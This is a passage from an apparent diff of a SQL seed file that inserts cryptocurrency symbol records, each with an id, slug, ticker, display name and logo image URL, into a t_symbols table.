'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-systems.png', NULL); +INSERT INTO `t_symbols` VALUES (926, 'boscoin', 'BOS', 'BOScoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (927, 'eon', 'EON', 'EON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eon.png', NULL); +INSERT INTO `t_symbols` VALUES (928, 'toacoin', 'TOA', 'ToaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (929, '1world', '1WO', '1World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/1World_Online.jpg', NULL); +INSERT INTO `t_symbols` VALUES (930, 'eidoo', 'EDO', 'Eidoo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eidoo.png', NULL); +INSERT INTO `t_symbols` VALUES (931, 'the-abyss', 'ABYSS', 'Abyss', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-abyss.png', NULL); +INSERT INTO `t_symbols` VALUES (932, 'seratio', 'SER', 'seratio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/theSERatio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (933, '42-coin', '42', '42-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/42-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (934, 'animation-vision-cash', 'AVH', 'AVH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animation-vision-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (935, 'charg-coin', 'CHG', 'Charg Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/charg-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (936, 'metahash', 'MHC', '#MetaHash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metahash.png', NULL); +INSERT INTO `t_symbols` VALUES (937, 'baasid', 'BAAS', 'BaaSid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baasid.png', NULL); +INSERT INTO `t_symbols` VALUES (938, 'threefold-token', 'TFT', 'ThreeFold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/threefold-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (939, 'btc-standard-hashrate-token', 'BTCST', 'BTC Standard Hashrate Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-standard-hashrate-token.png', NULL); +INSERT INTO `t_symbols` VALUES (940, 'shopnext-nexttoken', 'NEXT', 'ShopNEXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/shopnext.png', NULL); +INSERT INTO `t_symbols` VALUES (941, 'docademic', 'MTC', 'Doc.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/docademic.png', NULL); +INSERT INTO `t_symbols` VALUES (942, 'xchf', 'XCHF', 'CryptoFranc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xchf.png', NULL); +INSERT INTO `t_symbols` VALUES (943, 'projectseedtoken', 'SHILL', 'Project SEED SHILL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/projectseed.png', NULL); +INSERT INTO `t_symbols` VALUES (944, 'super-zero', 'SERO', 'SERO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/39721bc502e440b40d343ba71a4c5563.jpg', NULL); +INSERT INTO `t_symbols` VALUES (945, 'realfevr', 'FEVR', 'RealFevr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realfevr.png', NULL); +INSERT INTO `t_symbols` VALUES (946, 'videocoin', 'VID', 'Vivid Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/videocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (947, 'bitcoin-green', 'BITG', 'Bitcoin Green', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgreen.png', NULL); +INSERT INTO `t_symbols` VALUES (948, 'batt', 'BATT', 'batt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/batt.png', NULL); +INSERT INTO `t_symbols` VALUES (949, 'wearesatoshi', 'WSX', 'WeAreSatoshi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wearesatoshi.png', NULL); +INSERT INTO `t_symbols` VALUES (950, 'aurumcoin', 'AU', 'AurumCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurum-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (951, 'bggame', 'BGGM', 'bggame', NULL, NULL); +INSERT INTO `t_symbols` VALUES (952, 'safe-deal', 'SFD', 'SafeDeal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-deal.png', NULL); +INSERT INTO `t_symbols` VALUES (953, 'titanswap', 'TITAN', 'TitanSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titanswap.png', NULL); +INSERT INTO `t_symbols` VALUES (954, 'roiyal-coin', 'ROCO', 'ROCO FINANCE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roiyal-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (955, 'lanacoin', 'LANA', 'LanaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lanacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (956, 'partner', 'PRC', 'Partner', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/partner.png', NULL); +INSERT INTO `t_symbols` VALUES (957, 'matrix-ai-network', 'MAN', 'Matrix AI Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MatrixAINetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (958, 'vempire-ddao', 'VEMP', 'VEMP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vempire-ddao.png', NULL); +INSERT INTO `t_symbols` VALUES (959, 'ace-crescent-network', 'ACN', 'Ace crescent network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ace-crescent-network.png', NULL); +INSERT INTO `t_symbols` VALUES (960, 'flits', 'FLS', 'Flits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flits.png', NULL); +INSERT INTO `t_symbols` VALUES (961, 'hyperdao', 'HDAO', 'HyperDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/hyperdao.png', NULL); +INSERT INTO `t_symbols` VALUES (962, 'ignis', 'IGNIS', 'Ignis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ignis.png', NULL); +INSERT INTO `t_symbols` VALUES (963, 'paxos-standard', 'USDP', 'USDP Stablecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paxos-standard.jpg', NULL); +INSERT INTO `t_symbols` VALUES (964, 'sakecoin', 'SAKE', 'SAKECOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (965, 'torum', 'XTM', 'Torum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/torum.png', NULL); +INSERT INTO `t_symbols` VALUES (966, 'birake', 'BIR', 'Birake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/birake.jpg', NULL); +INSERT INTO `t_symbols` VALUES (967, 'bolt-token', 'BOLT', 'Bolt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bolt-token.png', NULL); +INSERT INTO `t_symbols` VALUES (968, 'iot-chain', 'ITC', 'IoT Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iot-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (969, 'perth-mint-gold-token', 'PMGT', 'Perth Mint Gold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perth-mint-gold-token.png', NULL); +INSERT INTO `t_symbols` VALUES (970, 'dipnet', 'DPN', 'Dipnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dipnet.png', NULL); +INSERT INTO `t_symbols` VALUES (971, 'safe-haven', 'SHA', 'Safe Haven', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-haven.png', NULL); +INSERT INTO `t_symbols` VALUES (972, 'rchain', 'REV', 'RChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rchain.png', NULL); +INSERT INTO `t_symbols` VALUES (973, 'experty', 'EXY', 'Experty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experty.png', NULL); +INSERT INTO `t_symbols` VALUES (974, 'mobius', 'MOBI', 'Mobius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobius.png', NULL); +INSERT INTO `t_symbols` VALUES (975, 'mean', 'MEAN', 'Mean DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/meandao.png', NULL); +INSERT INTO `t_symbols` VALUES (976, 'inchat', 'INT', 'inchat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inchat.png', NULL); +INSERT INTO `t_symbols` VALUES (977, 'spendcoin', 'SPND', 'Spendcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spendcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (978, 'bst', 'BST', 'Blocksquare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bst.png', NULL); +INSERT INTO `t_symbols` VALUES (979, 'innovaminex', 'MINX', 'InnovaMinex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/innovaminex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (980, 'litecoin-cash', 'LCC', 'Litecoin Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (981, 'step-finance', 'STEP', 'Step Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (982, 'minter', 'BIP', 'Minter Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/minter.png', NULL); +INSERT INTO `t_symbols` VALUES (983, 'salt', 'SALT', 'SALT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salt.png', NULL); +INSERT INTO `t_symbols` VALUES (984, 'offshift', 'XFT', 'Offshift', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/offshift.png', NULL); +INSERT INTO `t_symbols` VALUES (985, 'taraxa', 'TARA', 'Taraxa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taraxa.png', NULL); +INSERT INTO `t_symbols` VALUES (986, 'universa', 'UTNP', 'Universa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/universa.jpg', NULL); +INSERT INTO `t_symbols` VALUES (987, 'sentivate', 'SNTVT', 'Sentivate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sentivate.png', NULL); +INSERT INTO `t_symbols` VALUES (988, 'savage', 'SAVG', 'Savage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/savage.png', NULL); +INSERT INTO `t_symbols` VALUES (989, 'seele', 'SEELE', 'Seele', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seele.jpg', NULL); +INSERT INTO `t_symbols` VALUES (990, 'bbsnetwork', 'BBS', 'BBS Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bbsnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (991, 'ardcoin', 'ARDX', 'ArdCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (992, 'smileycoin', 'SMLY', 'Smileycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smileycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (993, 'oyster', 'PRL', 'Oyster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oyster.png', NULL); +INSERT INTO `t_symbols` VALUES (994, 'zv-chain', 'ZVC', 'ZVChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/zv-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (995, 'stronghold-token', 'SHX', 'Stronghold Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stronghold-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (996, 'mogwai', 'MOG', 'Mogwai Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mogwai.png', NULL); +INSERT INTO `t_symbols` VALUES (997, 'edgeware', 'EDG', 'Edgeware', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeware.png', NULL); +INSERT INTO `t_symbols` VALUES (998, 'bagcoin', 'BGC', 'Bagcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (999, 'hc', 'HC', 'HyperCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hc.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1000, 'blocknet', 'BLOCK', 'Blocknet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blocknet.png', NULL); +INSERT INTO `t_symbols` VALUES (1001, 'fat', 'FAT', 'Fatcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/fatbtc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1002, 'owndata', 'OWN', 'OWNDATA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/owndata.png', NULL); +INSERT INTO `t_symbols` VALUES (1003, 'otocash', 'OTO', 'OTOCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/otocash.png', NULL); +INSERT INTO `t_symbols` VALUES (1004, 'strong', 'STRONG', 'Strong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/strong.png', NULL); +INSERT INTO `t_symbols` VALUES (1005, 'ghost-by-mcafee', 'GHOST', 'Ghost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ghost-by-mcafee.png', NULL); +INSERT INTO `t_symbols` VALUES (1006, 'defibox', 'BOX', 'DefiBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/defibox.png', NULL); +INSERT INTO `t_symbols` VALUES (1007, 'trustverse', 'TRV', 'TrustVerse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trustverse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1008, 'tokencard', 'TKN', 'Monolith', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokencard.png', NULL); +INSERT INTO `t_symbols` VALUES (1009, 'covesting', 'COV', 'Covesting', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/covesting.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1010, 'blur-network', 'BLUR', 'Blur Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blur-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1011, 'dragonchain', 'DRGN', 'Dragonchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragonchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1012, 'geeq', 'GEEQ', 'GEEQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geeq.png', NULL); +INSERT INTO `t_symbols` VALUES (1013, 'aston', 'ATX', 'Aston', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aston.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1014, 'zignaly', 'ZIG', 'Zignaly', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zignaly.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1015, 'prospectors-gold', 'PGL', 'Prospectors Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prospectors-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (1016, 'metaverse-dualchain-network-architecture', 'DNA', 'Metaverse DNA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metaverse-dualchain-network-architecture.png', NULL); +INSERT INTO `t_symbols` VALUES (1017, 'monetha', 'MTH', 'Monetha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monetha.png', NULL); +INSERT INTO `t_symbols` VALUES (1018, 'htb', 'HTB', 'Hotbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/htb.png', NULL); +INSERT INTO `t_symbols` VALUES (1019, 'juggernaut', 'JGN', 'Juggernaut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juggernaut.png', NULL); +INSERT INTO `t_symbols` VALUES (1020, 'oce', 'OCE', 'OceanEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oce.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1021, 'daex', 'DAX', 'DAEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daex.png', NULL); +INSERT INTO `t_symbols` VALUES (1022, 'einsteinium', 'EMC2', 'Einsteinium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/einsteinium.png', NULL); +INSERT INTO `t_symbols` VALUES (1023, 'meritcoins', 'MRC', 'Meritcoins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meritcoins.png', NULL); +INSERT INTO `t_symbols` VALUES (1024, 'bifif', 'BIFI', 'BiFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bifif.png', NULL); +INSERT INTO `t_symbols` VALUES (1025, 'wowbit', 'WWB', 'Wowbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wowbit.png', NULL); +INSERT INTO `t_symbols` VALUES (1026, 'wiz', 'WIZ', 'CrowdWiz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wiz.png', NULL); +INSERT INTO `t_symbols` VALUES (1027, 'firestarter', 'FLAME', 'FireStarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (1028, 'modern-investment-coin', 'MOBIC', 'Mobility Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/modern-investment-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1029, 'veridocglobal', 'VDG', 'VeriDocGlobal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veridocglobal.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1030, 'marketpeak', 'PEAK', 'PEAKDEFI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marketpeak.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1031, 'alqo', 'ALQO', 'ALQO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ALQOCOIN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1032, 'vipstar-coin', 'VIPS', 'VIPSTARCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vipstar-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1033, 'kt', 'KT', 'Kuai Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kt.png', NULL); +INSERT INTO `t_symbols` VALUES (1034, 'kaicoin', 'KAI', 'KaiCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kaicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1035, 'blackstone-chain', 'BSC', 'blackstone-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blackstone-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1036, 'hacken', 'HKN', 'Hacken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hacken.png', NULL); +INSERT INTO `t_symbols` VALUES (1037, 'knoxstertoken', 'FKX', 'FortKnoxster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/knoxstertoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1038, 'internet-node-token', 'INT', 'INTchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internet-node-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1039, 'blockchain-certified-data-token', 'BCDT', 'EvidenZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-certified-data-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1040, 'ethverse', 'ETHV', 'Ethverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethverse.png', NULL); +INSERT INTO `t_symbols` VALUES (1041, 'wib', 'WIB', 'Wibson', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wib.png', NULL); +INSERT INTO `t_symbols` VALUES (1042, 'nuco-cloud', 'NCDT', 'Nuco.Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuco-cloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1043, 'qiibee', 'QBX', 'qiibee foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qiibeetoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1044, 'silent-notary', 'SNTR', 'Silent Notary', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/silent-notary.png', NULL); +INSERT INTO `t_symbols` VALUES (1045, 'probit-token', 'PROB', 'Probit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/probit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1046, 'traceability-chain', 'TAC', 'Traceability Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/traceability-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1047, 'oneledger', 'OLT', 'OneLedger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneledger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1048, 'bittwatt', 'BWT', 'Bittwatt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BittwattPteLtd.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1049, 'fedoracoin', 'TIPS', 'Fedoracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fedoracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1050, 'incent', 'INCNT', 'Incent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incent.png', NULL); +INSERT INTO `t_symbols` VALUES (1051, 'cashbet-coin', 'CBC', 'CBC.network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cashbet-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1052, 'ispolink-token', 'ISP', 'Ispolink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ispolink-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1053, 'bonk-token', 'BONK', 'BONK Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonk-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1054, 'gamecredits', 'GAME', 'GameCredits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamecredits.png', NULL); +INSERT INTO `t_symbols` VALUES (1055, 'pchain', 'PI', 'Plian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1056, 'buysell', 'BULL', 'BuySell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buysell.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1057, 'biki', 'BIKI', 'BIKI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biki.png', NULL); +INSERT INTO `t_symbols` VALUES (1058, 'rightmesh', 'RMESH', 'RightMesh', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rightmesh.png', NULL); +INSERT INTO `t_symbols` VALUES (1059, 'feathercoin', 'FTC', 'Feathercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/feathercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1060, 'credit-tag-chain', 'CTC', 'Credit Tag Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit-tag-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1061, 'rotharium', 'RTH', 'Rotharium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rotharium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1062, 'mcashchain', 'MCASH', 'Mcashchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcashchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1063, 'sparkpoint', 'SRK', 'SparkPoint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparkpoint.png', NULL); +INSERT INTO `t_symbols` VALUES (1064, 'mir', 'MIR', 'MIR COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mir.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1065, 'loyalcoin', 'LYL', 'LoyalCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loyalcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1066, 'zmine', 'ZMN', 'ZMINE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zmine.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1067, 'taklimakan-network', 'TAN', 'Taklimakan Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/taklimakan-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1068, 'asiacoin', 'AC', 'Asiacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asiacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1069, 'bilira', 'TRYB', 'BiLira', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bilira.png', NULL); +INSERT INTO `t_symbols` VALUES (1070, 'e-gulden', 'EFL', 'Electronic Gulden', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-gulden.png', NULL); +INSERT INTO `t_symbols` VALUES (1071, 'ultralpha', 'UAT', 'UltrAlpha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ultralpha.png', NULL); +INSERT INTO `t_symbols` VALUES (1072, 'duckdaodime', 'DDIM', 'DuckDaoDime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/duckdaodime.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1073, 'dec', 'DEC2', 'Darico Ecosystem Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dec.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1074, 'xaurum', 'XAUR', 'Xaurum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xaurum.png', NULL); +INSERT INTO `t_symbols` VALUES (1075, 'oneswap-dao-token', 'ONES', 'OneSwap DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneswap-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1076, 'hyve', 'HYVE', 'Hyve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyve.png', NULL); +INSERT INTO `t_symbols` VALUES (1077, 'bean-cash', 'BITB', 'Bean Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bean-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (1078, 'ally', 'ALY', 'Ally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ally.png', NULL); +INSERT INTO `t_symbols` VALUES (1079, 'wom-token', 'WOM', 'WOM Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wom-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1080, 'carvertical', 'CV', 'carVertical', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/carVertical_com.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1081, 'target-coin', 'TGT', 'Target Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/target-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1082, 'o3-swap', 'O3', 'O3 Swap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/o3-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (1083, 'ubiq', 'UBQ', 'Ubiq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ubiq.png', NULL); +INSERT INTO `t_symbols` VALUES (1084, 'faircoin', 'FAIR', 'FairCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faircoin.png', NULL); +INSERT INTO `t_symbols` 